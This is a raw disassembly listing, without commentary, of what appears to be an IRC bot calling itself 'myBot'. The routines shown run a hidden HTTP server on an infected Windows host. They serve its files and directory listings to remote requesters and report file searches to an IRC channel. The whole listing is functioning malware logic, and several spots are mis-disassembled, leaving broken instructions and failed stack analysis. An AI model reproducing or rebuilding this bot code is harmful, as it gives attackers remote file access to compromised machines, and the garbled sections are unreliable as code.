		jnz	short loc_404156
		push	edi
		mov	edi, 400h


loc_40411E:				; CODE XREF: sub_4040DB+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_413580
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_43270C
		call	dword_41D1DC	; send
		push	1
		call	dword_41D05C	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40411E
		pop	edi


loc_404156:				; CODE XREF: sub_4040DB+3Bj
		push	esi
		call	sub_412540
		pop	ecx
		push	dword_43270C
		call	dword_41D1D4	; closesocket
		call	dword_41D1A8	; WSACleanup
		push	1
		pop	eax


loc_404172:				; CODE XREF: sub_4040DB+35j
		pop	esi
		leave
		retn
sub_4040DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404175	proc near		; DATA XREF: .nsp0:00405BFBo
					; .nsp0:0040EE1Bo

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_412770
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_411F70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_433AC8	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_433B48	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_404560
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_438C64[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_433AF4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_404560
		push	7FFFFFFFh
		push	edi
		call	dword_433AF0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_404560
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_433B64	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_404560
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40424C:				; CODE XREF: sub_404175+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_433AB0	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40455B
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_404282:				; CODE XREF: sub_404175+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4339C0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404546
		cmp	esi, [ebp+var_C]
		jnz	short loc_404304
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_433B5C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404546
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_4042D6
		lea	edx, [ebp+var_134]


loc_4042CA:				; CODE XREF: sub_404175+15Fj
		cmp	[edx], eax
		jz	short loc_4042D6
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_4042CA


loc_4042D6:				; CODE XREF: sub_404175+14Dj
					; sub_404175+157j
		cmp	ecx, ebx
		jnz	short loc_4042F3
		cmp	ebx, 40h
		jnb	short loc_4042F3
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_4042F3:				; CODE XREF: sub_404175+163j
					; sub_404175+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_404546
		mov	[ebp+var_8], eax
		jmp	loc_404546
; ---------------------------------------------------------------------------


loc_404304:				; CODE XREF: sub_404175+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_411F70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_433AE0	; recv
		test	eax, eax
		jg	short loc_404397
		push	esi
		call	dword_433B60	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_404546
		lea	eax, [ebp+var_134]


loc_404356:				; CODE XREF: sub_404175+1EBj
		cmp	[eax], esi
		jz	short loc_404367
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404356
		jmp	loc_404546
; ---------------------------------------------------------------------------


loc_404367:				; CODE XREF: sub_404175+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40438B
		lea	eax, [ebp+ecx*4+var_134]


loc_404375:				; CODE XREF: sub_404175+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404375


loc_40438B:				; CODE XREF: sub_404175+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_404546
; ---------------------------------------------------------------------------


loc_404397:				; CODE XREF: sub_404175+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_411F70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_4126F0
		add	esp, 10h
		test	eax, eax
		jbe	loc_404546


loc_4043C5:				; CODE XREF: sub_404175+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40446A
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4124C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40443E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_4126F0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40443E
		mov	eax, offset asc_421F4C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4124C0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4124C0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413668
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_412600
		add	esp, 10h
		jmp	short loc_404455
; ---------------------------------------------------------------------------


loc_40443E:				; CODE XREF: sub_404175+27Fj
					; sub_404175+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_421F48 ; "\r\n"
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404489


loc_404455:				; CODE XREF: sub_404175+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40446A:				; CODE XREF: sub_404175+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_4126F0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_4043C5
		jmp	loc_404546
; ---------------------------------------------------------------------------


loc_404489:				; CODE XREF: sub_404175+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_4044D3
		lea	eax, [ebp+var_134]


loc_404495:				; CODE XREF: sub_404175+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_4044A6
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404495
		jmp	short loc_4044D6
; ---------------------------------------------------------------------------


loc_4044A6:				; CODE XREF: sub_404175+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_4044CA
		lea	eax, [ebp+ecx*4+var_134]


loc_4044B4:				; CODE XREF: sub_404175+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_4044B4


loc_4044CA:				; CODE XREF: sub_404175+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_4044D6
; ---------------------------------------------------------------------------


loc_4044D3:				; CODE XREF: sub_404175+318j
		mov	esi, [ebp+var_4]


loc_4044D6:				; CODE XREF: sub_404175+32Fj
					; sub_404175+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40453F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_4126F0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4126F0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40453F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_433B64	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	loc_404752
		add	esp, 14h
		jmp	short loc_404546
; ---------------------------------------------------------------------------


loc_40453F:				; CODE XREF: sub_404175+369j
					; sub_404175+38Fj
		push	esi
		call	dword_433B60	; closesocket


loc_404546:				; CODE XREF: sub_404175+11Dj
					; sub_404175+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_404282
		jmp	loc_40424C
; ---------------------------------------------------------------------------


loc_40455B:				; CODE XREF: sub_404175+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_404560:				; CODE XREF: sub_404175+6Aj
					; sub_404175+92j ...
		call	dword_433A5C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_421F00
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_4045A6
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40F9F1
		add	esp, 14h


loc_4045A6:				; CODE XREF: sub_404175+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_408E17
		pop	ecx
		push	edi
		call	dword_433B60	; closesocket
		push	[ebp+var_254]
		call	sub_411CB6
		pop	ecx
		push	ebx
		call	near ptr 0AB0000h
		push	edx
		pop	edi
		pop	esi
		pop	ebx
sub_404175	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045D0	proc near		; DATA XREF: .nsp0:00404998o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_1E6AE03D	= byte ptr  1E6AE045h

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_412770
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_411EEE
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_404635
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40463A
; ---------------------------------------------------------------------------


loc_404635:				; CODE XREF: sub_4045D0+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40463A:				; CODE XREF: sub_4045D0+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_411EEE
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0AB0000h
		sub	[ebp+arg_1E6AE03D], cl
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0AB0000h
		dec	edx
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_4046B3
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_411EEE
		add	esp, 24h
		jmp	short loc_4046D4
; ---------------------------------------------------------------------------


loc_4046B3:				; CODE XREF: sub_4045D0+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_411EEE
		add	esp, 28h


loc_4046D4:				; CODE XREF: sub_4045D0+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_433B18	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_404714
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_405084
		pop	ecx
		pop	ecx
		jmp	short loc_404731
; ---------------------------------------------------------------------------


loc_404714:				; CODE XREF: sub_4045D0+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_404A02
		add	esp, 10h


loc_404731:				; CODE XREF: sub_4045D0+142j
		push	[ebp+var_44C]
		call	dword_433B60	; closesocket
		push	[ebp+var_B4]
		call	sub_411CB6
		pop	ecx
		push	edi
		call	near ptr 0AB0000h
		aas
		pop	edi
		pop	esi
sub_4045D0	endp ; sp-analysis failed



loc_404752:				; CODE XREF: sub_404175+3C0p
		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp-210h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_411F70
		mov	eax, [ebp+10h]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_404788
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_404791
; ---------------------------------------------------------------------------


loc_404788:				; CODE XREF: .nsp0:0040477Ej
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_404791:				; CODE XREF: .nsp0:00404786j
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_411EEE
		add	esp, 0Ch
		lea	eax, [ebp-10Ch]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_4126F0
		test	eax, eax
		pop	ecx
		jbe	short loc_40482C
		mov	dword ptr [ebp+10h], 2


loc_4047BC:				; CODE XREF: .nsp0:0040482Aj
		lea	eax, [ebp-10Ch]
		push	eax
		call	sub_4126F0
		cmp	[ebp+10h], eax
		pop	ecx
		jnb	short loc_4047FC
		cmp	byte ptr [ebp+esi-10Ch], 25h
		jnz	short loc_4047FC
		cmp	byte ptr [ebp+esi-10Bh], 32h
		jnz	short loc_4047FC
		cmp	byte ptr [ebp+esi-10Ah], 30h
		jnz	short loc_4047FC
		inc	esi
		mov	byte ptr [ebp+ebx-210h], 20h
		inc	esi
		add	dword ptr [ebp+10h], 2
		jmp	short loc_404816
; ---------------------------------------------------------------------------


loc_4047FC:				; CODE XREF: .nsp0:004047CCj
					; .nsp0:004047D6j ...
		mov	al, [ebp+esi-10Ch]
		cmp	al, 2Fh
		jnz	short loc_40480C
		push	5Ch
		pop	eax
		jmp	short loc_40480F
; ---------------------------------------------------------------------------


loc_40480C:				; CODE XREF: .nsp0:00404805j
		movsx	eax, al


loc_40480F:				; CODE XREF: .nsp0:0040480Aj
		mov	[ebp+ebx-210h],	al


loc_404816:				; CODE XREF: .nsp0:004047FAj
		lea	eax, [ebp-10Ch]
		inc	esi
		inc	dword ptr [ebp+10h]
		push	eax
		inc	ebx
		call	sub_4126F0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4047BC


loc_40482C:				; CODE XREF: .nsp0:004047B3j
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+0Ch]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-314h]
		push	offset asc_422200 ; "\n"
		push	eax
		call	sub_413668
		add	esp, 18h
		lea	eax, [ebp-314h]
		push	eax
		call	dword_41D080	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40487A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40487D
		push	dword ptr [ebp+8]
		jmp	short loc_4048F9
; ---------------------------------------------------------------------------


loc_40487A:				; CODE XREF: .nsp0:0040486Ej
		mov	[ebp-4], esi


loc_40487D:				; CODE XREF: .nsp0:00404873j
		cmp	byte ptr [ebp+ebx-211h], 5Ch
		jnz	short loc_40488A
		mov	[ebp-4], esi


loc_40488A:				; CODE XREF: .nsp0:00404885j
		mov	ebx, [ebp+8]
		cmp	[ebp-4], edi
		mov	[ebp-6C4h], ebx
		mov	[ebp-318h], edi
		jz	short loc_404904
		cmp	[ebp+14h], edi
		jz	short loc_4048F8
		lea	eax, [ebp-314h]
		push	offset asc_4221FC ; "*"
		push	eax
		call	sub_412610
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-210h]
		push	eax
		call	sub_405141
		lea	eax, [ebp-210h]
		push	eax
		lea	eax, [ebp-53Ch]
		push	eax
		call	sub_411EEE
		add	esp, 1Ch
		or	dword ptr [ebp-330h], 0FFFFFFFFh
		mov	[ebp-31Ch], esi
		jmp	short loc_404953
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: .nsp0:004048A1j
		push	ebx


loc_4048F9:				; CODE XREF: .nsp0:00404878j
		call	dword_433B60	; closesocket
		jmp	loc_4049FB
; ---------------------------------------------------------------------------


loc_404904:				; CODE XREF: .nsp0:0040489Cj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp-314h]
		push	80000000h
		push	eax
		call	dword_41D07C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_404953
		lea	eax, [ebp-314h]
		push	eax
		lea	eax, [ebp-640h]
		push	eax
		call	sub_411EEE
		pop	ecx
		mov	[ebp-31Ch], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0AB0000h
		push	0D0858956h
		cld
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7415FFFFh
; ---------------------------------------------------------------------------
		rol	byte ptr [ecx+0], 1


loc_404953:				; CODE XREF: .nsp0:004048F6j
					; .nsp0:00404921j
		mov	esi, [ebp+18h]
		lea	eax, [ebp-8C4h]
		push	esi
		push	offset unk_4221B8
		push	eax
		call	sub_411EEE
		push	edi
		lea	eax, [ebp-8C4h]
		push	3
		push	eax
		call	sub_41199A
		mov	[ebp-32Ch], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_438C5C[eax], esi
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-6C4h]
		push	edi
		push	eax
		push	offset sub_4045D0
		push	edi
		push	edi
		call	dword_41D070	; CreateThread
		mov	ecx, [ebp-32Ch]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_438C6C[ecx], eax
		jz	short loc_4049CD


loc_4049BB:				; CODE XREF: .nsp0:004049CBj
		cmp	[ebp-318h], edi
		jnz	short loc_4049FB
		push	5
		call	dword_41D05C	; Sleep
		jmp	short loc_4049BB
; ---------------------------------------------------------------------------


loc_4049CD:				; CODE XREF: .nsp0:004049B9j
		push	ebx
		call	dword_433B60	; closesocket
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-8C4h]
		push	offset unk_42216C
		push	eax
		call	sub_411EEE
		lea	eax, [ebp-8C4h]
		push	eax
		call	sub_408E17
		add	esp, 10h


loc_4049FB:				; CODE XREF: .nsp0:004048FFj
					; .nsp0:004049C1j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404A02	proc near		; CODE XREF: sub_4045D0+159p
					; .nsp0:0040E49Ep

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_411F70
		mov	edi, [ebp+arg_0]
		push	offset asc_422200 ; "\n"
		push	edi
		call	sub_413668
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_404A61
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 14h
		jmp	loc_404B5E
; ---------------------------------------------------------------------------


loc_404A61:				; CODE XREF: sub_404A02+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_404B44
		call	sub_4126F0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		push	edi
		call	sub_4126F0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 0Ch
		jmp	short loc_404B5E
; ---------------------------------------------------------------------------


loc_404B44:				; CODE XREF: sub_404A02+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 10h


loc_404B5E:				; CODE XREF: sub_404A02+5Aj
					; sub_404A02+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_404BF6
		push	[ebp+arg_C]
		call	sub_4126F0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_404BF6
		push	[ebp+arg_C]
		call	sub_4126F0
		sub	eax, 3
		pop	ecx
		jz	short loc_404BAA


loc_404B9E:				; CODE XREF: sub_404A02+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_404BAA
		dec	eax
		jnz	short loc_404B9E


loc_404BAA:				; CODE XREF: sub_404A02+19Aj
					; sub_404A02+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_413710
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4126F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_433B18	; send


loc_404BF6:				; CODE XREF: sub_404A02+17Ej
					; sub_404A02+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_41D094	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_41D090	; FindNextFileA
		test	eax, eax
		jz	loc_404FE7
		mov	edi, 1FFh


loc_404C22:				; CODE XREF: sub_404A02+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_404FCF
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404FCF
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404FCF
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 0AB0000h
		inc	esp
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0AB0000h
		xor	esp, [esi-75h]
		inc	ebp
		lock mov ecx, offset aPm ; "PM"
		cmp	ax, 0Ch
		ja	short loc_404C97
		mov	ecx, offset aAm	; "AM"


loc_404C97:				; CODE XREF: sub_404A02+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_404CA3
		sub	eax, 0Ch


loc_404CA3:				; CODE XREF: sub_404A02+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_411EEE
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_404E50
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_404D24
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41246A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 28h
